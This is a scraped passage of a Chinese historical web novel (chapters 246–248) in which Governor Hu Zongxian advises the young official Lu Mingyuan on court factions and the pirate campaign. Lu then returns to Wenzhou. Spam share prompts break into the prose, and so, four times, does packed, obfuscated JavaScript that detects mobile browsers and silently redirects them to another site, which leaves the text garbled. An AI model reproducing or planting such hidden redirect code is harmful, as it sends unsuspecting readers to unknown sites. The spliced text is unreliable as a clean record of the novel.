“你的老师,是林瀚文林润贞,皇**首。 “你年纪轻轻,便被陛下亲封伯爵,视为储相之才,这便是天子门生。 “有这两重身份在,你就不必担心任何人的攻讦与猜忌。 胡宗宪的话,如同一把钥匙,瞬间打开了陆明渊心中最后一道迷雾。 他之前只知道自己身份特殊,却从未想过,这身份的背后,竟有如此深远的**含义。 “无论是阁老,还是清流, 胡宗宪的声音带着一种洞悉一切的穿透力。 “他们都不会,也不敢将你置于死地。 “阁老需要你来平衡清流,清流也乐得见你这把快刀去砍阁老在东南的根基。更何况…… 胡宗宪的嘴角,勾起一抹意味深长的弧度。 “……更何况,你这把刀,还承诺能为朝廷每年带回八百万两白银。 “没人会跟银子过不去,尤其是在国库空虚的今天。 “你陆明渊,才华横溢,却又洪福齐天。这在大乾的官场上,是百年罕见之事。 “这是你 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 之幸,是大乾之幸,也是我胡宗宪之幸事啊!” 胡宗宪将陆明渊的处境、优势、乃至他能“肆无忌惮”的根本原因,赤裸裸地摆在了他的面前。 这是一份天大的恩情。 然而,胡宗宪话锋一转,那刚刚还带着几分温和的眼神,瞬间又变得锐利起来。 “但是,陆明渊,你必须清楚。东南倭寇之患,非一朝一夕之功。” “你今日之所以能如此顺畅,一是因为陛下在京中为你鼎力支撑。” “二是因为朝中各党,都还指望着你那‘漕海一体’的宏图大计,没人愿意现在就得罪你这个未来的财神爷。” “可这一切,都是建立在‘漕海一体’尚未完成之前。” “一旦功成,你每年八百万两的进项成了定数,你这状元郎的光环,你这十二岁伯爵的特权,都会渐渐褪去。” “到那时,你陆明渊,才算是真正踏进了这**的官场。” “届时,你再想如今日这般‘便宜行事’,怕是就没那么容易了。” “你今日的‘逾矩’与‘擅专’,是奇功。” “他日的‘逾矩’与‘擅专’,便是取死之道!” 最后几个字,掷地有声,如警钟长鸣。 陆明渊心中剧震,一股寒意从背脊直冲天灵。 他瞬间明白了。 胡宗宪这番话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777336|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看似是敲打,是警告,可字字句句,无一不是在提点他,爱护他! 这是在教他为官之道,是在教他在这险恶的官场中如何活下去! 这份情,比山还重! 陆明渊没有丝毫犹豫,猛地从椅子上站起,后退一步。 他对着胡宗宪,郑重其事地躬身,行了一个晚辈对尊敬长辈的九十度大礼。 “晚辈陆明渊,谢过……胡部堂,提携教诲之恩!” 他将“大人”的称呼,换成了更显亲近也更显尊敬的“胡部堂”,将“下官”的自称,换成了“晚辈”。 一词之差,天壤之别。 这代表着,从这一刻起,他陆明渊,是真心实意地将眼前这位东南柱石,当成了自己的师长与引路人。 胡宗宪看着他这副模样,先是一愣。 随即,那张素来清癯严肃的脸上,绽开了一抹真正发自内心的笑容。 他抬了抬手,示意陆明渊起身。 “你啊……真是个通透的聪明孩子。” 他笑着摇了摇头,语气中满是欣赏与欣慰,“坐吧。” 待陆明 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 渊重新坐下,胡宗宪才端起那杯早已凉透的茶,抿了一口。 “你今日,确实做错了很多事。逾矩、擅专,哪一条,都够寻常官员喝一壶的。” 他放下茶盏,看着陆明渊,话锋再次一转。 “但是,你做对了一件最关键,也是最重要的事情。” 胡宗宪的目光变得无比深邃。 “那就是,你对陛下,足够忠心。” “你从汪家缴获的财物中,分出三百万两白银,八百里加急,直接送往京师。” “这一手,比你温州海战的惊天大捷,还要高明百倍!” “有了这三百万两银子,你所有的‘逾矩’之举,在陛下的眼中,便都是‘忠心耿耿,为国分忧’。” “你所有的‘擅专’之行,也都会变成‘少年英才,不拘一格’。” “朝堂之上,再想攻讦你的人,也要先掂量掂量,自己有没有本事,能为陛下填上这三百万两的窟窿。” “这笔钱,是你最大的功劳,也是你最硬的护身符。” “它足以抹去你的一切过错,也足以堵住所有人的嘴。” 胡宗宪看着眼前的少年,心中感慨万千。 他缓缓站起身,走到那幅巨大的堪舆图前。 目光扫过温州、台州、宁波……那一个个被倭寇肆虐过的地方。 “温州海战的大捷,其意义,远不止是斩获多少,缴获多少。” “它更重要的,是打出了我大乾水师的威风,震慑了那些蠢蠢欲动的宵小之辈。” “也为我接下来的整个东南布局,撬开了一道至关重要的缺口。” 他转过身,目光灼灼地看着陆明渊。 “这,也是我今日叫你来杭州的真正原因。” 胡宗宪的脸上,露出一丝罕见的,带着疲惫却又无比欣慰的笑容。 他对着陆明渊,微微颔首,声音前所未有的郑重。 “说起来,我胡宗宪,还要代这东南沿海数千万无辜的百姓……” “谢谢你,陆明渊!” ………… 第246章 这是一场豪赌 “谢谢你,陆明渊!” 这六个字,仿佛比总督府的大印还要沉重。 就这么轻飘飘地落在了陆明渊的心上,压得他几乎喘不过气来。 斥责,他受得住。 警告,他听得进。 哪怕是雷霆之怒,他也有所准备。 可唯独这一句感谢,一句发自东南柱石,发自胡宗宪之口的感谢,让他瞬间乱了方寸。 陆明渊几乎是下意识地从椅子上弹了起来,连连摆手。 脸上那份超越年龄的沉稳在这一刻荡然无存,只剩下少年人应有的局促与慌张。 “部堂,部堂严重了!” 他的声音甚至有些变调。 “晚辈不过是尽了分内之事,守土之责,万万不敢当部堂此谢,万万不敢当!” 胡宗宪看着他手足无措的模样,那张清癯的脸上,那抹欣慰的笑容愈发真实。 他只是轻轻摆了摆手,示意陆明渊不必如此。 那笑容缓缓敛去,取而代之的,是一种难以言喻的疲惫 “你当得起。” 胡宗宪的声音恢复了平静,却多了一丝沙哑的自嘲。 “因为,就在你陆明渊于温州府雷厉风行,清查内患之时,我这总督府,却依旧藏污纳垢。” 他转过身,重新走回书案后,坐下的动作显得有些缓慢,仿佛那把熟悉的椅子,此刻也变得陌生起来。 “半个月前,就在你温州大捷的奏报抵达京师的同时,杭州府的锦衣卫所,便已经动了起来。” 胡宗宪的目光,幽深得如同不见底的古井。 “他们查的,不是别处,正是我这浙直总督府。” 陆明渊心头一凛,站直了身体,屏住了呼吸。 “就在两天前,”胡宗宪的声音低沉。 “北镇抚司指挥使,陆炳,陆都督亲自找了我。” 陆炳! 这个名字,在大乾朝堂,便代表着天子之耳目,君王之利剑!他亲至杭州,其意义不言而喻! “他告诉我,与倭寇暗通款曲,出卖军机情报,致使我大乾水师多次无功而返,甚至损兵折将的内鬼,找到了。” 胡宗宪说到这里,顿了顿,端起那杯早已凉透的茶,却没有喝,只是用指尖摩挲着冰冷的杯壁。 “是我总督府的佥院,王道同。” “一个跟了我五年,兢兢业业,任劳任怨的老人。” “一个在总督府当差了十多年,人人都敬称一声‘王公’的老人 你的朋友正在书荒,快去帮帮他吧 。 “就是他,将我东南水师的调防布置,将每一次围剿的路线与时机,源源不断地送到了倭寇的手里。 胡宗宪的脸上,没有愤怒,只有一种深入骨髓的悲哀与自责。 “因为他的情报,我军三次围剿失利,折损将士一千三百余人,战船二十七艘。这些账,都记在了我的头上。 他抬起头,直视着陆明渊,眼中布满了血丝,那是一种熬干了心血的痕迹。 “所以,陆明渊,你看看,你何须不敢当我的谢? “你为国除奸,而我识人不明,用人失察,以致军国重事受损,将士枉死沙场…… “我胡宗宪,与你相比,同为戴罪之人! 最后一句,石破天惊! 陆明渊的脸色瞬间变了。 不是惊骇,而是一种瞬间的了然与后怕。 当初,锦衣卫的百户朱四,在呈报汪家与倭寇勾结的证据时,便附上了一份绝密情报。 其中便隐晦地提到了浙直总督府内,恐有高层泄密。 陆明渊当时便知此事干系太大,绝非他一个区区温州知府能够触碰。 他没有声张,更没有向胡宗宪透露分毫,而是将这份情报八百里加急,直接送到了嘉靖皇帝的御案之前。 他赌的,就是嘉靖皇帝的帝王心术。 他赌嘉靖不会因为一个未经证实的怀疑,就动摇对胡宗宪这位东南柱石的信任。 他更赌嘉靖会明白,自己呈上这份情报,是纯粹的公心,而非党争的攻讦。 如今看来,他赌对了! 嘉靖皇帝非但没有降罪胡宗宪,反而派出了自己最信任的人,亲自南下。 这既是审查胡宗宪,也是帮他胡宗宪! 陛下要亲自帮他查出总督府内的内奸,将这件事的干系,和胡宗宪彻底隔断! 陛下不想让这件事成为任何人攻佞胡宗宪的把柄! 这是何等的信任! 又是何等的雷霆手段! 想通了这一层,陆明渊只觉得后背一阵发凉。 当初的决定,当真是在悬崖边行走,一步踏错,便是万劫不复。 可也正是这一步,让他彻底赢得了胡宗宪的信任。 也让嘉靖皇帝看到了他那份超越党争的“孤臣之心。 胡宗宪看着陆明渊脸上阴晴不定的神色,仿佛看穿了他的心思。 随即,竟是淡淡一笑。 那笑容里带着几分释然,也带着几分洞悉。 “ 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 你这孩子心思太重。” 他摇了摇头。 “你不必为我担心。浙直总督这个位子本就是风口浪尖我坐不久的。” 他靠在椅背上整个人仿佛都放松了下来。 “等你那‘漕海一体’真正弄出了模样朝廷尝到了甜头东南沿海的倭寇怕是也被我清剿得差不多了。” “届时流水的银子进了国库阁老和清流的目光都会从这片烂摊子上移开。” “到那时 这番话说得平淡却听得陆明渊心头狂跳。 “今日叫你来” 胡宗宪的目光重新变得明亮起来带着一种长辈审视晚辈的考量。 “就是要亲眼看一看你陆明渊究竟是只能为将还是能够为帅。” “看一看你这副稚嫩的肩膀未来究竟能不能扛得起‘浙直总督’这四个字。” 他顿了顿给出了自己的评判。 “今日一见你没让我失望。” “虽然现在还担不起但只要给你几年时间让你在这东南的惊涛骇浪里再历练几年也就够了。” 胡宗宪的语气像是在说一件理所当然的事情。 “所以你更不必担心我胡宗宪会掣肘你的‘漕海一体’。” 他笑了笑得意味深长。 “放眼当今朝堂若论真心实意盼着你陆明渊将这前无古人的大计做成的。” “除了你的老师林瀚文便只有我胡宗宪了。” “阁老看重的是你这把刀能砍向谁清流看重的是你这棵树能带来多少荫凉陛下看重的是你这个聚宝盆能填满多大的窟窿。” “唯有我与林润贞看到的是这‘漕海一体’若能功成我大乾国祚或可因此再延百年!” “东南万千百姓或可因此免遭流离之苦!” “这才是我今日愿意见你愿意与你推心置腹的真正原因!” 一番话如洪钟大吕在陆明渊的脑海中轰然作响。 他一直以为自己是在孤军奋战在各方势力的夹缝中求存。 直到此刻他才恍然大悟在这条最艰难的路上他并非孤身一人。 一位是清流名宿当朝巡抚为他铺路。 一位是东南柱石封疆大吏为他护航。 这份知遇之恩这份期许之重让他一时间竟不知该如何言语。 胡宗宪没有给他太 恭喜你可以去书友们那里给他们剧透了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777337|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们一定会“羡慕嫉妒恨”的 多感慨的时间,他的思绪已经转到了具体的方略之上。 “你这次在温州,动静闹得太大了。虽然是奇功,但也把倭寇打疼了,打怕了。” 他伸出手指,在堪舆图上轻轻划过。 “我料定,接下来的几个月,甚至是半年,他们都会蛰伏起来,不敢再有大的动作。” “这既是好事,也是坏事。” “好事是,沿海百姓能得一时安宁。” “坏事是,他们化整为零,四处流窜,我们更难找到其主力决战。” 胡宗宪的目光变得锐利而深远,仿佛已经看到了三年后的战场。 “所以,接下来,不要再轻启兵戈了。温州一战,威慑已经足够。” “我会利用这段时间,在整个东南沿海重新布局,收紧防线,断其补给,逼迫那些零散的倭寇重新**。” “我要做的,就是张开一张大网,慢慢收紧,最终,逼他们的总头目,那个自称‘徽王’的汪直,不得不与我进行一场主力决战!” “这个过程,或许需要一年,两年,甚至……三年。” 胡宗宪转过头,目光灼灼地看着陆明渊,那里面,是统率千军万马的决断与魄力。 “而这三年,就是我给你,也是你给我的时间。” “这三年里,你陆明渊,就安安分分地待在你的温州府。” “把你的新式船队练好,最重要的是,把你的海运,给我重新开起来!” “我要你用真金白银告诉朝堂上那些衮衮诸公,告诉陛下,你的‘漕海一体’,究竟有多大的能量!” “只要他们看到了银子,看到了远超漕运十倍、百倍的利润,他们就会疯狂地支持你!” “到了那时,你陆明渊的‘漕海一体’,就不再是你一个人的事,而是整个大乾朝廷的事!” “谁敢阻拦,谁就是与国库为敌,与天下官员的钱袋子为敌!” “只有到了那个时候,我胡宗宪,才能得到朝廷毫无保留的支持。” “到时候,我才能真正放开手脚,毕其功于一役,彻底肃清整个东南沿海的倭寇!” “也只有到了那个时候,你陆明渊的‘漕海一体’,才能真正走出温州,推行到整个浙江,乃至整个大乾的**海疆!” 胡宗宪的声音,在空旷的书房中回荡。 他为陆明渊,也为自己,规划出了一条清晰无比,却又艰险无比的道路。 这是一场豪赌。 陆明渊用他的“漕海一体”,去赌朝廷的支持。 胡宗宪用他的赫赫军功,去赌一场荡平倭寇的决战。 他们二人,一文一武,一前一后,互为表里,互为支撑。 任何一方的失败,都将导致整个计划的满盘皆输。 陆明渊怔怔地看着眼前的胡宗宪,看着他那双熬得通红却依旧神光湛然的眼睛。 看着他鬓角不知何时已然染上的风霜。 这一刻,他看到的,不再是那个高高在上的浙直总督,不再是那个权倾东南的封疆大吏。 他看到的,是一个殚精竭虑,百死不悔的……孤臣。 与他自己,何其相似。 良久,陆明渊收回了所有外放的情绪,眼中的激荡与感激,尽数化为了一片澄澈的坚定。 他再次后退一步,对着胡宗宪,深深一揖到底。 这一次,没有言语。 但胡宗宪知道,这个少年,已经懂得了他所有的话,也接下了这份沉甸甸的托付。 窗外的天色,不知不觉间,已经泛起了鱼肚白。 新的一天,即将到来。 而对于大乾的东南来说,一场持续了数十年的漫长黑夜,似乎也终于,看到了一丝曙光的降临。 第247章 未雨绸缪,方能立于不败之地 陆明渊闻言,心头那股激荡的情绪渐渐平复。 取而代之的,是沉甸甸的责任感与一种被托付的厚重。 他再次抬眼,望向胡宗宪,那双年轻的眼眸里,已然褪去了方才的局促与震惊,只剩下清澈的坚定。 “部堂所言,晚辈铭记于心。 他的声音变得低沉而有力,不再有丝毫的少年稚气。 “漕海一体,势在必行,晚辈亦会竭尽全力,以求功成。 他顿了顿,语气中带着几分求教的诚恳。 “只是,此道艰难,前无古人,晚辈经验尚浅,还望部堂不吝赐教,指点迷津。 胡宗宪看着他,那张清癯的脸上,疲惫似乎被一丝玩味冲淡了几分。 他轻轻地笑了,那笑声低沉而富有磁性,在书房中缓缓回荡。 “你这小子,还真是顺着杆子就往上爬。 他摇了摇头,眼中却满是欣赏。 “不过,既然你问了,我这老朽,倒也有些不成熟的念头,姑且说来,你权当听个故事便是。 他重新端起那杯凉透的茶,这一次,他轻轻抿了一口,似乎在回味着什么。 “漕海一体,其利甚巨,足以改天换地。 胡宗宪放下茶杯,目光深邃,如同能洞穿未来。 “然则,凡改革者,必触动旧有格局,牵扯万千利益。 “你欲推行此策,首当其冲的,便是沿途各省,那些盘根错节的世家豪族。 他伸出第一根手指,轻轻敲了敲桌面。 “他们世代垄断漕运,掌控着沿途的商贸命脉,一旦海运兴起,货物倾销,他们手中的利益,便如同被刀割去一块块肥肉,岂能甘心? “届时,他们或明或暗,或联手抵制,或暗中掣肘,甚至不惜以民生为要挟,逼你让步。 胡宗宪的目光锐利如刀。 “陆明渊,你当如何破局?又当如何调和这其中错综复杂的利益纠葛?这,是你首先要考虑清楚的。 陆明渊听着,眉头微微蹙起,眼中闪过一丝思索。 他之前所想,多是如何整顿海运,如何清剿倭寇。 他未曾深思,这庞大的利益蛋糕,一旦被触动,将会掀起怎样的惊涛骇浪。 胡宗宪没有给他太多思考的时间,他伸出了第二根手指。 “其次,漕海一体,若要发展壮大,绝非一朝一夕之功。其前提,便是彻底肃清东南沿海的倭寇之患。 他的语气变得沉重起来 听说看这本书的人都是很幸运的,分享后你的运气会更棒 。 “如今,倭寇之首汪直,盘踞海岛,其势力庞大,战船三百余艘,麾下亡命之徒数十万,绝非温州一战之余波所能震慑。” “欲彻底剿灭之,非倾东南之力不可。” “你可知,要修建新的战船,扩充水师,训练精兵,这其中所需的银两,将是一个天文数字,至少需要投入超过千万两白银,方能初具规模。” 胡宗宪的目光望向窗外,似乎穿透了重重屋宇,看到了遥远的京师。 “如今朝中各大势力,对此事多持观望,甚至有人乐见其乱,以图渔利。” “他们此刻不愿投入,不愿承担风险。” “可一旦你漕海一体初见成效,海贸利润滚滚而来,你以为,他们还会继续作壁上观吗?” “届时,他们会不会以各种名义,插手其中,分润份额?” “会不会以‘为国分忧’之名,行‘巧取豪夺’之实?你又当如何应对?” 这个问题,如同一座大山,轰然压在了陆明渊的心头。 他清楚,朝廷的钱袋子,永远是各方势力争夺的重点。 一旦海运的巨大利润显现,那些平日里高喊清流、严党之争的衮衮诸公,恐怕会毫不犹豫地扑上来,撕咬这块肥肉。 胡宗宪的第三根手指也伸了出来,轻轻点了点。 “最后,也是最难的一点,便是后续各大势力入场,如何分配利益,如何权衡取舍。” 他叹了口气,语气中带着一丝对世事洞明的无奈。 “‘天下熙熙皆为利来,天下攘攘皆为利往’,此乃亘古不变之理。” “漕海一体若能功成,其利润之巨,足以让无数人红眼。” “从朝廷的户部、兵部,到地方的布政使司、按察使司,乃至各地的商贾豪强,甚至皇亲国戚,都将试图从中分一杯羹。” “你陆明渊,作为漕海一体的开创者,如何能在大势所趋之下,既保证朝廷的利益,又能安抚各方势力,不致反噬其身?” “这其中的平衡之道,稍有不慎,便是万劫不复。” 胡宗宪的声音,如同暮鼓晨钟,轰然乍响。 “这些问题,陆明渊,你都必须想清楚,想好对策。” 他的目光变得前所未有的严肃。 “否则,一旦问题接踵而至,层层叠叠,漕海一体这个国策,就会偏离你的掌控。” “届时,它便不再是造福百姓的利器,而会如同过往无数次改革一般,成为严党和清流争抢的**利益,成 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 为党争攻讦的把柄。” “到了那时,百万漕工衣食所系,沿海百姓的生计浮沉,都将沦为各方势力博弈的筹码。” “你必须早做准备,未雨绸缪,方能立于不败之地。” 书房内,一时陷入了沉寂。 陆明渊的脑海中,无数念头翻腾。 他原以为,只要有嘉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777338|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靖皇帝的信任,有林瀚文和胡宗宪的支持。 他便能凭借一腔热血和超前的见识,披荆斩棘,将漕海一体推行下去。 然而,胡宗宪的这番话,却如同一盆冷水,将他那份少年人的激情冲刷得干干净净。 改革背后,那层层叠叠、盘根错节的利益之网,以及那深不见底的人心险恶,都是陆明渊从未深思过的。 他此刻才意识到,自己之前所思所想,过于简单了些。 他一心想着肃清倭寇,一心想着推行海运,却忽略了这其中牵扯的**、经济、人性的复杂博弈。 陆明渊深吸一口气,他再次对着胡宗宪拱手,郑重地行了一礼。 “部堂教诲,晚辈茅塞顿开。” “这些问题,晚辈此前确实未曾深思,只想着一心为国除患,推行利民之策。” “如今听部堂一席话,方知任重道远,晚辈必将重新审视,细细思量。” 他连连点头,脸上那份少年人的沉稳,此刻又多了一分深邃与凝重,仿佛瞬间成熟了许多。 胡宗宪看着陆明渊如此重视的神情。 见他并未因这些难题而气馁,反而更加坚定了决心,那张清癯的脸上,终于浮现出一丝欣慰的笑容。 他摆了摆手,示意陆明渊不必如此紧张。 “你也不用如此如临大敌。” 他的语气重新变得轻松起来,带着一丝长者的慈爱。 “我方才所说的这些问题,都是未来五年、十年,甚至更久之后,你才会真正面临的挑战。” 他拿起桌上的笔,在堪舆图上温州府的位置轻轻点了一下。 “三年之内,你陆明渊,只需要安安分分地待在温州府,全力以赴地开展你的海运和漕运。” “将你的新式船队打造出来,将你的商贸路线重新铺设好,将真金白银源源不断地运入国库。” “让所有人都看到这其中的巨大利润,便已足够。” “至于其他的事情,你暂时不必多想。” 胡宗宪的目光,再次变得深远而洞彻。 “如今朝中各大势力,正乐于看你与倭寇缠斗,乐于看你承担这吃力不讨好的差事。” “他们不会在漕海一体的初期掣肘你,因为他们都等着你做出成绩,等着你将这棵摇钱树培育成参天大树。” 他的嘴角勾起一抹意味深长的弧度。 “等到那时,这棵树枝繁叶茂,果实累累,自然会有无数人蜂拥而上,争相采摘。” “到了那时,你才需要真正去面对我方才所说的种种麻烦。” “但到了那时,你陆明渊,也早已非今日吴下阿蒙。” “你有足够的资历,足够的声望,足够的势力,去与他们周旋,去为你的漕海一体,争取到一个真正的未来。” 第248章 今夜,陪我! 陆明渊躬身,向胡宗宪行了此番谈话后的第三次大礼。 胡宗宪的寥寥数语,剥开了“漕海一体”表面那层光鲜的未来。 露出了其下盘根错节的利害,以及那深不见底的人心。 他原以为自己已洞悉世事,却未曾想,在这些老谋深算的官场巨擘面前,他仍是那个带着几分青涩的少年。 然而,这并非打击,反而是指引,让他找到了方向。 胡宗宪见他如此郑重,却只是洒然一笑,摆了摆手,示意他不必多礼。 那张清癯的脸上,疲惫虽未尽去,眼底却闪烁着某种深沉的光芒。 “无需如此。” 胡宗宪的声音带着一丝温和的命令。 “夜已深,你今日便连夜启程,赶回温州府罢。” 他起身,缓步走到窗前,推开半扇窗户,夜风带着初秋的凉意,吹拂着他鬓角的银丝。 “陆明渊,你如今最大的敌人,是时间。” 胡宗宪的目光投向窗外,仿佛能穿透夜色,看到遥远的东南海疆。 “趁着汪直这头猛虎尚未被彻底肃清之前,你必须尽快发展温州水师,将你的新式战船打造出来,将你的海运体系初具雏形。” “等到海运一开,那滚滚而来的利润,便是你最好的筹码。到了那时,许多事情,便会好办许多。” 陆明渊心头一凛,他明白胡宗宪的意思。 在朝廷大军全力剿灭汪直之前,那些观望的势力不会轻易插手,这正是他发展壮大的黄金时期。 一旦汪直这条巨鲨被捕,海贸的巨大利益将彻底暴露。 届时,各方势力闻风而动,他若没有足够的实力自保,便会沦为砧板上的鱼肉。 “晚辈明白,定不负部堂所托!” 陆明渊再次拱手,语气坚定。 辞别胡宗宪,陆明渊没有丝毫耽搁,连夜点齐亲卫,跨上快马,朝着温州府的方向疾驰而去。 五日的奔波,日夜兼程,马蹄声声,踏碎了沿途的寂静,也磨砺着陆明渊的意志。 他的身体疲惫到了极限,但精神却异常亢奋。 胡宗宪的教诲,如同洪钟大吕,在他心中反复回响,催促着他,鞭策着他。 终于,在第五日的黄昏,温州府那熟悉的城墙轮廓出现在他面前。 陆明渊勒住缰绳,感受着马匹的喘息,以及自己胸腔中那剧烈跳动的心脏。 他没有直接前往府衙,而是解散了亲卫,让他们各自归家休整,自己则 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 径直返回了温州府衙后宅的住处。 推开院门,一股熟悉的暖意扑面而来。 庭院里,几盏灯笼摇曳着柔和的光芒,照亮了院中尚未凋零的几株桂树。 淡淡的桂花香,冲淡了陆明渊一路风尘仆仆的疲惫。 “少爷! 一个清脆中带着惊喜的声音响起,若雪从屋檐下的小门里冲了出来。 她身着一袭素雅的襦裙,发髻简单地挽起,却遮不住那份与生俱来的清丽。 见到陆明渊风尘仆仆的身影,她那双剪水秋瞳里,瞬间盈满了担忧与心疼。 “快,快进来!少爷一路辛苦了。 若雪小跑上前,接过陆明渊手中的缰绳,声音里带着几分颤抖。 陆明渊看着眼前这个娇俏可人的少女,心中的疲惫似乎一下子被冲刷干净。 他伸手揉了揉若雪的头,笑道:“无碍,只是有些累了。 若雪引着陆明渊来到浴室,早已准备好的浴桶里,热水冒着氤氲的热气。 她熟练地帮陆明渊解开衣袍。 那双纤细的手指,在解开陆明渊腰带时,不经意地触碰到他的皮肤,引得她脸颊微微泛红。 陆明渊没有注意到她的羞涩,他实在是太累了。 他靠在浴桶边缘,若雪帮他添着热水,用浴巾搓去一身的疲惫! 柔若无骨的纤细玉手在陆明渊身上游走,肩颈的舒适也让陆明渊疲惫的神经得以放松! 靠着浴桶旁边,不久的功夫便响起了沉重的呼吸声! 若雪见他如此,心疼得无以复加。 她蹲下身,轻轻地唤了几声,见陆明渊只是发出微弱的鼾声,便知道他已累极。 她没有再打扰,而是轻手轻脚地走出浴室。 吩咐丫鬟们在屋内点燃炉子,又不断地更换着浴桶里的热水,确保水温始终温暖。 她知道,少爷这一路奔波,定是受了风寒,这热水,便是最好的慰藉。 半个时辰后,若雪再次来到浴室。 陆明渊的身体在热水中浸泡得有些发白,她轻轻推了推他,柔声唤道。 “少爷,该起来了,再泡下去,身子该受不住了。 陆明渊迷迷糊糊地睁开眼,眼神中还带着一丝睡意朦胧。 他看着若雪那张关切的脸庞,心中涌起一股暖意。 他起身,若雪立刻递上干净的毛巾,服侍他擦拭身体。 陆明渊披上若雪递来的干净里衣。 他看着地上被他 你的朋友正在书荒,快去帮帮他吧 随意丢弃的,沾染着一路风尘的衣袍,忽然觉得有些好笑。 他没有去管那些衣物,而是伸出手,将若雪轻轻地揽入怀中。 若雪的身子僵了一下,随即软化下来,依偎在他的怀里。 她的脸颊紧贴着陆明渊的胸膛,感受到他强健的心跳,耳畔是他低沉而富有磁性的声音。 “今夜,陪我。 若雪的脸颊瞬间烧了起来,如同傍晚的火烧云。 她的心跳如擂鼓,快得几乎要跳出胸腔。 她原本高冷的性子,在陆明渊面前,总是会不自觉地变得柔软。 她心中害羞不已,却又无法抑制住那份从心底涌出的热情。 她抬起头,那双清澈的眸子里,闪烁着水光,带着几分期盼与顺从,轻轻地回应了一声:“嗯。 一夜春风,温柔缠绵。 窗外的秋风,在这一刻也变得柔和起来。 翌日清晨,当第一缕阳光透过窗棂,洒落在床榻之上时,陆明渊已然醒来。 他看着怀中仍在熟睡的若雪,那恬静的睡颜,如同初绽的梨花,清纯美好。 他轻轻地吻了吻她,然后悄无声息地起身,穿戴整齐。 他知道,自己没有太多时间沉溺于温柔乡。 胡宗宪的那番话,言犹在耳。 温州府的政务,以及“漕海一体的宏大蓝图,都等着他去擘画,去实施。 当陆明渊来到府衙时,裴文忠早已等候多时。 这位温州通判,看上去比陆明渊还要疲惫几分,显然是连日操劳。 “大人,您可算回来了! 裴文忠见到陆明渊,立刻迎上前,拱手行礼,语气中带着明显的焦急。 陆明渊点点头,径直走到案牍后坐下,示意裴文忠不必多礼。 “这几日府衙可有要事? 陆明渊问道,语气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777339|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平静,却带着一丝不容置疑的威严。 裴文忠面色有些为难,他低声道。 “回禀大人,要事倒是有,只不过……是个人事上的变动。 “哦? 陆明渊挑了挑眉,心中已然有了猜测。 “朝廷委派的同知大人崔颖,已于三日前上任。 裴文忠继续说道。 “这位崔大人,一来便对大人您设立的千机院颇为不满,认为这笔开支不应该算在府衙的公费之中。 “他昨日已向府衙主簿发难,言辞颇为激烈,说要查账。 陆明渊闻言, 你的朋友正在书荒,快去帮帮他吧 嘴角勾起一抹意味深长的弧度。 崔颖?一个新上任的同知,竟然如此急不可耐地给他上眼药,看来是背后有人指使。 这便是胡宗宪所说的,那些“乐见其乱”的势力,开始蠢蠢欲动了。 “千机院的开支,当然不应该算在府衙公费之中。” 陆明渊不紧不慢地说道,语气中听不出喜怒。 裴文忠一愣,随即露出困惑的神情。 他以为陆明渊会为此事头疼,没想到陆大人竟如此轻易地就认同了崔颖的说法。 陆明渊看着裴文忠的表情,轻笑一声,缓缓说道。 “千机院,本就是为镇海司服务的。既然如此,便将千机院编入镇海司,其所有开销,皆由镇海司拨付。” 裴文忠闻言,猛地瞪大了眼睛,随即脸上露出恍然大悟的笑容。 “大人英明!” 他由衷地赞叹道。 “如此一来,千机院的开支便与府衙无关,崔颖便是想查,也无从查起!” “大人您领着镇海司的公务,这笔钱从镇海司发出去,他崔颖便是再不服气,也只能干瞪眼!” 陆明渊没有说话,只是端起茶杯,轻轻抿了一口。 这崔颖不过是个小卒,背后的势力才是真正的麻烦。 但他此刻羽翼未丰,也只能用这种四两拨千斤的办法,暂时化解危机。 裴文忠见陆明渊神色平静,知道自己猜对了陆大人的心思。 